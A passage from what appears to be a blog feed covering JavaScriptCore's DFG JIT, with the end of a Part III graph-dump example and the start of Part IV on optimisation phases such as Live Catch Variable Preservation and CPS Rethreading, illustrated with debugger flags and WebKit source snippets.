</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">96</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>     D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">96</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>      PutByVal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">93</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">61</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">61</span>, MustGen<span style="color:#f92672">|</span>VarArgs, Int32<span style="color:#f92672">+</span>OriginalArray<span style="color:#f92672">+</span>OutOfBounds<span style="color:#f92672">+</span>AsIs<span style="color:#f92672">+</span>Write, R:World, W:Heap, Exits, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">22</span>, ExitValid)
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">97</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>     D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">97</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>      Flush(MustGen, loc9(S<span style="color:#f92672">~/</span>FlushedJSValue), R:Stack(loc9), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">28</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">98</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>     D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">98</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>      Flush(MustGen, loc10(O<span style="color:#f92672">~/</span>FlushedJSValue), R:Stack(loc10), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">28</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">99</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>     D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">99</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>      JSConstant(JS<span style="color:#f92672">|</span>PureInt, Undefined, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">28</span>, ExitValid)
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">100</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">100</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>      MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">99</span>, MustGen, loc6, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">28</span>, ExitValid)
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">101</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">101</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>      SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">99</span>, loc6(DB<span style="color:#f92672">~/</span>FlushedJSValue), W:Stack(loc6), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">28</span>, ExitInvalid)  predicting None
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>   <span style="color:#f92672">&lt;--</span> inlineFunc<span style="color:#960050;background-color:#1e0010">#</span>EfyD9C:<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffaf2c4260</span>, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">74</span>, Call, known callee: Object: <span style="color:#ae81ff">0x7fffaf2f5a00</span> with butterfly (nil) (Structure <span style="color:#f92672">%</span>A1:Function), StructureID: <span style="color:#ae81ff">43062</span>, numArgs<span style="color:#f92672">+</span><span style="color:#66d9ef">this</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span>, numFixup <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, stackOffset <span style="color:#f92672">=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">16</span> (loc0 maps to loc16)<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">102</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>  D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">102</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>        JSConstant(JS<span style="color:#f92672">|</span>PureInt, Undefined, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">80</span>, ExitValid)
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">103</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>  D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">103</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        Return(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">102</span>, MustGen, W:SideState, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">80</span>, ExitValid)
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">104</span>  <span style="color:#ae81ff">0</span>   <span style="color:#f92672">:</span>  D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">104</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>        Flush(MustGen, arg1(B<span style="color:#f92672">~/</span>FlushedJSValue), R:Stack(arg1), W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">80</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span></code></pre></div><h1 id="conclusion">Conclusion</h1>
<p>This post explored the various components that make up the DFG JIT tier in JavaScriptCore by understanding how bytecode is parsed to generate a graph in the DFG and reading DFG IR. <a href="/posts/jsc-part4-the-dfg-jit-graph-optimisation/">Part IV</a> of this blog series will dive into the details of graph optimisation that&rsquo;s performed by the DFG.</p>
<h1 id="appendix">Appendix</h1>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://github.com/saelo/pwn2own2018">https://github.com/saelo/pwn2own2018</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://www.zerodayinitiative.com/blog/2019/3/14/the-apple-bug-that-fell-near-the-webkit-tree">https://www.zerodayinitiative.com/blog/2019/3/14/the-apple-bug-that-fell-near-the-webkit-tree</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://www.thezdi.com/blog/2019/11/25/diving-deep-into-a-pwn2own-winning-webkit-bug">https://www.thezdi.com/blog/2019/11/25/diving-deep-into-a-pwn2own-winning-webkit-bug</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="http://www.filpizlo.com/slides/pizlo-speculation-in-jsc-slides.pdf#page=75">http://www.filpizlo.com/slides/pizlo-speculation-in-jsc-slides.pdf#page=75</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="http://www.filpizlo.com/slides/pizlo-speculation-in-jsc-slides.pdf#page=61">http://www.filpizlo.com/slides/pizlo-speculation-in-jsc-slides.pdf#page=61</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://webkit.org/blog/10308/speculation-in-javascriptcore/">https://webkit.org/blog/10308/speculation-in-javascriptcore/</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>JavaScriptCore Internals Part IV: The DFG (Data Flow Graph) JIT -- Graph Optimisation</title>
            <link>https://zon8.re/posts/jsc-part4-the-dfg-jit-graph-optimisation/</link>
            <pubDate>Wed, 26 May 2021 00:00:00 +0000</pubDate>
            
            <guid>https://zon8.re/posts/jsc-part4-the-dfg-jit-graph-optimisation/</guid>
            <description>Introduction This blog post continues from where we left off in Part III and will cover each DFG graph optimisation. The graph generated at the end of the bytecode parsing phase is passed through the DFG pipeline which optimises the graph before lowering it to machine code. DFG Optimisation phases add, remove and update nodes in the various blocks that make up the graph. The optimisation phases will also re-order nodes (via Hoisting or Sinking) within the same basic block.</description>
            <content type="html"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>This blog post continues from where we left off in <a href="/posts/jsc-part3-the-dfg-jit-graph-building/">Part III</a> and will cover each DFG graph optimisation. The graph generated at the end of the bytecode parsing phase is passed through the DFG pipeline which optimises the graph before lowering it to machine code. DFG Optimisation phases add, remove and update nodes in the various blocks that make up the graph. The optimisation phases will also re-order nodes (via Hoisting or Sinking) within the same basic block. However, the DFG optimisations do not move nodes between basic blocks. The the screenshot<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> below shows the various optimisation phases that form part of the DFG pipeline:</p>
<p><img src="/images/jsc-part3/dfg-optimisations.png" alt="dfg-optimisation"></p>
<p>The goal of DFG optimisation is to enable <em>Fast Compilation</em> by removing as many type checks as possible, quickly. The DFG performs majority of its optimisations via static analysis of the generated graph. The WebKit blog<sup id="fnref1:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> describes three key static analyses in the DFG that have a significant impact on optimisation choices:</p>
<blockquote>
<ul>
<li>We use <em>prediction propagation</em> to fill in predicted types for all values based on value profiling of some values. This helps us figure out where to speculate on type.</li>
<li>We use the <em>abstract interpreter</em> (or just AI for short in JavaScriptCore jargon) to find redundant OSR speculations. This helps us emit fewer OSR checks. Both the DFG and FTL include multiple optimization passes in their pipelines that can find and remove redundant checks but the abstract interpreter is the most powerful one. The abstract interpreter is the DFG tier’s primary optimization and it is reused with small enhancements in the FTL.</li>
<li>We use <em>clobberize</em> to get aliasing information about DFG operations. Given a DFG instruction, clobberize can describe the aliasing properties. In almost all cases that description is O(1) in time and space. That description implicitly describes a rich dependency graph.</li>
</ul>
</blockquote>
<h1 id="graph-optimisations">Graph Optimisations</h1>
<p>The DFG pipeline itself has 30 optimisation passes of which 25 are unique optimisation phases. The <a href="/posts/jsc-part3-the-dfg-jit-graph-building/#graph-building">optimisation phases indicated previously</a> are located in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/dfg/DFGPlan.cpp">DFGPlan.cpp</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>    RUN_PHASE(performLiveCatchVariablePreservationPhase);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    RUN_PHASE(performCPSRethreading);
</span></span><span style="display:flex;"><span>    RUN_PHASE(performUnification);
</span></span><span style="display:flex;"><span>    RUN_PHASE(performPredictionInjection);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    RUN_PHASE(performStaticExecutionCountEstimation);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span></code></pre></div><p>With a high level understanding of the three static analysis performed, let&rsquo;s now dive into the details of each optimisation phase. To being, there are a couple of command line line flags that one can add to our debugging environment that will aid our evaluation:</p>
<ul>
<li>
<p><code>verboseCompilation</code>: This flag will enable printing of logging information at before and after each optimisation phase of the DFG. This will also help identify which optimisation phase the DFG is currently in and if the phase modified the DFG IR. This will also print the final optimised graph at the end of the optimisation phases.</p>
</li>
<li>
<p><code>dumpGraphAtEachPhase</code>: As the name suggests, setting this flag will enable printing of the graph at the start of each optimisation phase.</p>
</li>
</ul>
<p>Our <code>launch.json</code> should resemble something similar to the one below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... trunvated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>           <span style="color:#f92672">&#34;program&#34;</span>: <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/jsc&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;args&#34;</span>: [
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--useConcurrentJIT=false&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--useFTLJIT=false&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--verboseOSR=true&#34;</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--thresholdForJITSoon=10&#34;</span>, 
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--thresholdForJITAfterWarmUp=10&#34;</span>, 
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--thresholdForOptimizeAfterWarmUp=100&#34;</span>, 
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--thresholdForOptimizeAfterLongWarmUp=100&#34;</span>, 
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--thresholdForOptimizeSoon=100&#34;</span>, 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--reportDFGCompileTimes=true&#34;</span>,     
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--dumpBytecodeAtDFGTime=true&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--dumpSourceAtDFGTime=true&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--verboseDFGBytecodeParsing=false&#34;</span>, 
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--dumpGraphAfterParsing=false&#34;</span>,
</span></span><span style="display:flex;"><span>                
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--dumpGraphAtEachPhase=true&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--verboseCompilation=true&#34;</span>,
</span></span><span style="display:flex;"><span>                
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/test.js&#34;</span>
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>}
</span></span></code></pre></div><h2 id="live-catch-variable-preservation">Live Catch Variable Preservation</h2>
<p>The first optimisation phase in the pipeline is <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGPlan.cpp#L294"><code>LiveCatchVariablePreservationPhase</code></a>. The header files for each phase include developer comments on the function of the optimistaion phase. The <code>LiveCatchVariablePreservationPhase</code> is described by the <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGLiveCatchVariablePreservationPhase.h#L45">developer comments</a> as follows:</p>
<blockquote>
<p>This phase ensures that we maintain liveness for locals that are live in the &ldquo;catch&rdquo; block. Because a &ldquo;catch&rdquo; block will not be in the control flow graph, we need to ensure anything live inside the &ldquo;catch&rdquo; block in bytecode will maintain liveness inside the &ldquo;try&rdquo; block for an OSR exit from the &ldquo;try&rdquo; block into the &ldquo;catch&rdquo; block in the case of an exception being thrown.</p>
<p>The mechanism currently used to demonstrate liveness to OSR exit is ensuring all variables live in a &ldquo;catch&rdquo; are flushed to the stack inside the &ldquo;try&rdquo; block.</p>
</blockquote>
<p>This phase iterates over each basic block in the graph and attempts to determine which operands from the <em>catch</em> block would need to be preserved in the graph so that at the time of <a href="/posts/jsc-part5-the-dfg-jit-osr/#osr-exit">OSR Exit</a>, the <em>catch</em> block can be correctly reconstructed in the Baseline JIT. Live values in the DFG relevant to the <em>catch</em> block are preserved by inserting <em>Flush</em> nodes at the end of the basic block which will push these values to the stack. <em>Flush</em> nodes ensure that the DFG optimisation will preserve the value of an operand at OSR Exit.</p>
<p>The function <code>performLiveCatchVariablePreservationPhase</code> is implemented as the <a href="https://github.com/WebKit/WebKit/blob/77e39e49cc3552b30d870822554fa94539d579ed/Source/JavaScriptCore/dfg/DFGLiveCatchVariablePreservationPhase.cpp#L46"><code>run</code> function</a>. A snippet of which is shown below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">bool</span> <span style="color:#a6e22e">run</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    DFG_ASSERT(m_graph, <span style="color:#66d9ef">nullptr</span>, m_graph.m_form <span style="color:#f92672">==</span> LoadStore);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>m_graph.m_hasExceptionHandlers)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> false;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    InsertionSet insertionSet(m_graph);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (m_graph.m_hasExceptionHandlers) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (BasicBlock<span style="color:#f92672">*</span> block : m_graph.blocksInNaturalOrder()) {
</span></span><span style="display:flex;"><span>            handleBlockForTryCatch(block, insertionSet);
</span></span><span style="display:flex;"><span>            insertionSet.execute(block);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> true;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The object <code>insertionSet</code> is an ordered collection of new nodes that are generated when the graph is put through an optimisation phase. At the end of the phase, the <code>insertionSet</code> is <em>executed</em> which adds these new nodes to the various basic blocks in the graph.</p>
<h2 id="cps-rethreading">CPS Rethreading</h2>
<p>The next stage in the optimistaion pipeline is <code>CPSRethreading</code>. Before this stage the graph generated is in the <a href="https://github.com/WebKit/WebKit/blob/5ca7df562ca65dfb17d094293500e5e587bdde2c/Source/JavaScriptCore/dfg/DFGCommon.h#L186"><code>LoadStore</code> form</a> and this phase converts the graph to a <a href="https://github.com/WebKit/WebKit/blob/5ca7df562ca65dfb17d094293500e5e587bdde2c/Source/JavaScriptCore/dfg/DFGCommon.h#L201"><code>ThreadedCPS</code> form</a>. The properties of a <code>ThreadedCPS</code> graph are described as follows:</p>
<blockquote>
<p>ThreadedCPS form means that basic blocks list up-front which locals they expect to be live at the head, and which locals they make available at the tail. ThreadedCPS form also implies that:</p>
<ul>
<li>
<p>GetLocals and SetLocals are not redundant within a basic block.</p>
</li>
<li>
<p>All GetLocals and Flushes are linked directly to the last access point
of the variable, which must not be another GetLocal.</p>
</li>
<li>
<p>Phantom(Phi) is not legal, but PhantomLocal is.</p>
</li>
</ul>
<p>ThreadedCPS form is suitable for data flow analysis (CFA, prediction propagation), register allocation, and code generation.</p>
</blockquote>
<p>Before we dive into the phase implementation, it&rsquo;s worth reviewing the functionality of some of the most common nodes in a graph:</p>
<ul>
<li>
<p><code>MovHint(@a, rK)</code>: This operation indicates that node @a contains the value that would have now been placed into virtual register rK. Does not actually cause @a to be stored into rK. MovHints are always dead.</p>
</li>
<li>
<p><code>SetLocal(@a, rK)</code>: This is a store operation that causes the result of @a is stored to the virtual register rK, if the SetLocal is live.</p>
</li>
<li>
<p><code>GetLocal(@a, rK)</code>: This is a load operation that causes the result of @a to be loaded from the virtual register rK.</p>
</li>
</ul>
<p>The <a href="https://github.com/WebKit/WebKit/blob/5ca7df562ca65dfb17d094293500e5e587bdde2c/Source/JavaScriptCore/dfg/DFGCPSRethreadingPhase.h#L40">developer comments</a> describe the phase as follows:</p>
<blockquote>
<p>CPS Rethreading:</p>
<p>Takes a graph in which there are arbitrary GetLocals/SetLocals with no connections between them. Removes redundant ones in the case of uncaptured variables. Connects all of them with Phi functions to represent live ranges.</p>
</blockquote>
<p>The <a href="https://github.com/WebKit/WebKit/blob/5ca7df562ca65dfb17d094293500e5e587bdde2c/Source/JavaScriptCore/dfg/DFGCPSRethreadingPhase.cpp#L45">phase implementation</a> consists of a series of function calls which transform the graph. The functions that perform key transformations are briefly described below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">bool</span> <span style="color:#a6e22e">run</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    RELEASE_ASSERT(m_graph.m_refCountState <span style="color:#f92672">==</span> EverythingIsLive);
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (m_graph.m_form <span style="color:#f92672">==</span> ThreadedCPS)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> false;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>    clearIsLoadedFrom();
</span></span><span style="display:flex;"><span>    freeUnnecessaryNodes();
</span></span><span style="display:flex;"><span>    m_graph.clearReplacements();
</span></span><span style="display:flex;"><span>    canonicalizeLocalsInBlocks();
</span></span><span style="display:flex;"><span>    specialCaseArguments();
</span></span><span style="display:flex;"><span>    propagatePhis<span style="color:#f92672">&lt;</span>OperandKind<span style="color:#f92672">::</span>Local<span style="color:#f92672">&gt;</span>();
</span></span><span style="display:flex;"><span>    propagatePhis<span style="color:#f92672">&lt;</span>OperandKind<span style="color:#f92672">::</span>Argument<span style="color:#f92672">&gt;</span>();
</span></span><span style="display:flex;"><span>    propagatePhis<span style="color:#f92672">&lt;</span>OperandKind<span style="color:#f92672">::</span>Tmp<span style="color:#f92672">&gt;</span>();
</span></span><span style="display:flex;"><span>    computeIsFlushed();
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>    m_graph.m_form <span style="color:#f92672">=</span> ThreadedCPS;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> true;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><code>freeUnnecessaryNodes</code>: Adds an empty child node to <code>GetLocal</code>, <code>Flush</code> and <code>PhantomLocal</code> nodes in the graph. When iterating through the nodes in the graph, if it encounters a <code>Phantom</code> node it removes the node if the node has no children. If the node has a child which is either a <code>Phi</code>, <code>SetArgumentDefinitely</code> or a <code>SetLocal</code>, it converts the node to a PhantomLocal. At the end of parsing each block it purges any <code>Phi</code> nodes that exist from previous optimisation passes.</p>
<p><code>canonicalizeLocalsInBlocks</code>: This function defines <a href="https://github.com/WebKit/WebKit/blob/5ca7df562ca65dfb17d094293500e5e587bdde2c/Source/JavaScriptCore/dfg/DFGCPSRethreadingPhase.cpp#L322">the rules for threaded CPS</a>. Basic Block evaluation begins from the last basic block in the graph to and terminates at the root block. Nodes within each block however are parsed in natural order. This phase is also responsible for updating the <code>varaiblesAtHead</code> list as well as generating (also regenerating since this phase is called several times in the DFG pipeline) <code>Phi</code> nodes and adding them to the graph. The <code>Phi</code> nodes generated can be viewed from the graph dump printed to <em>stdout</em>, an example of this is shown below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#f92672">:</span> Block <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">5</span> (bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">463</span> <span style="color:#f92672">--&gt;</span> isFinite<span style="color:#960050;background-color:#1e0010">#</span>DJEgRe:<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffaefc7b60</span><span style="color:#f92672">&gt;</span> bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">21</span>)<span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">:</span>   Execution count: <span style="color:#ae81ff">1.000000</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">:</span>   Predecessors: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">:</span>   Successors: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">6</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">:</span>   Phi Nodes: D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">559</span><span style="color:#f92672">&lt;</span>loc39,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>(), D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">558</span><span style="color:#f92672">&lt;</span>loc40,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>(), D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">557</span><span style="color:#f92672">&lt;</span>loc5,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>(), D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">556</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">this</span>,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>()
</span></span><span style="display:flex;"><span><span style="color:#f92672">:</span>   States: StructuresAreWatched, CurrentlyCFAUnreachable
</span></span><span style="display:flex;"><span>:   Vars Before: <span style="color:#f92672">&lt;</span>empty<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#f92672">:</span>   Var Links: arg0:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">592</span> loc5:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">593</span> loc39:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">464</span> loc40:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">465</span>
</span></span></code></pre></div><p>In the snippet above <code>D@559</code> is a Phi node that&rsquo;s been added to the graph. The value <code>loc39</code> represents the operand to <code>Phi</code> node. The value <code>1</code> that follows <code>loc39</code> is the reference count for the <code>Phi</code>.</p>
<p><code>propogatePhis</code>: This group of functions propagates <code>Phi</code> nodes through the basic blocks. This propagation process updates the <code>Phi</code> nodes with child nodes from a <em>predecessor</em> block who&rsquo;s value would flow into the <code>Phi</code> node.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#ae81ff">4</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">427</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>      SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">410</span>, loc40(FF<span style="color:#f92672">~/</span>FlushedJSValue), W:Stack(loc40), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">4</span>   <span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">428</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>      SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">423</span>, loc39(GF<span style="color:#f92672">~/</span>FlushedJSValue), W:Stack(loc39), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
